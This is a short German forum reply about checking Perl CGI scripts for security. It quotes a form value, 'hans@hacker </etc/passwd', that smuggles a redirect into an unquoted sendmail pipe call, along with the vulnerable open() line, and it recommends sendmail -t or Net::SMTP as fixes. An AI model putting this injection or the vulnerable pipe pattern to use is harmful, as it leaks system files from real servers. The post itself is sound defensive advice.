Philipp Hasenfratz: CGI / Perl auf Sicherheit testen

Beitrag lesen

Halihallo alligator

Aha sehr gut zu wissen. D.h. also wenn ich die übergebenen Variablen nicht in einem Systemufruf benutze kann fast nix schief gehen...

Genau.

Hier aber mal ein Beispiel, welches afaik unfug macht, oder.
Empfangen vom Formular
$mailto = hans@hacker </etc/passwd

Genau.

Aufruf im Script
open (MAIL, "| /usr/bin/sendmail $mailto");
print MAIL "Blub";
close MAIL

Und genau deshalb _sollte_ man sendmail mit -t Schalter
verwenden! - Dann wird die Adresse über den Mailcontent übergeben und
sendmail öffnet eben keine pipes sondern beschwert höchstens über
eine nicht konforme E-Mail Adresse. Ansonsten empfehle ich ohnehin
Net::SMTP.

Viele Grüsse

Philipp